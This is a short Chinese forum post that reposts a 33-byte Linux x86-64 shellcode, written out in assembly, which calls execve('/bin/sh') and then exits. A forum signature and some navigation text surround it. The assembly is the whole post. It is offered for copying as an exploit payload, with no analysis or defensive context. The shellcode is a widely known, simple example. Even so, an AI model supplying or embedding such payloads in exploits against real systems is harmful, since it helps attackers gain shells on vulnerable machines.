发新话题
打印

linux/x86-64 execve(/bin/sh) 33 bytes

linux/x86-64 execve(/bin/sh) 33 bytes

复制内容到剪贴板
代码:
# [Linux/X86-64]
# Dummy for shellcode:
# execve("/bin/sh", ["/bin/sh"], NULL)
# hophet [at] gmail.com

.text
  .globl _start
_start:
  
  xorq  %rdx, %rdx
  movq  $0x68732f6e69622fff,%rbx
  shr  $0x8, %rbx
  push  %rbx
  movq  %rsp,%rdi
  xorq  %rax,%rax
  pushq  %rax
  pushq  %rdi
  movq  %rsp,%rsi
  mov  $0x3b,%al  # execve(3b)
  syscall

  pushq  $0x1
  pop  %rdi
  pushq  $0x3c    # exit(3c)
  pop  %rax
  syscall
...退出这个无聊的娱乐圈!

TOP

发新话题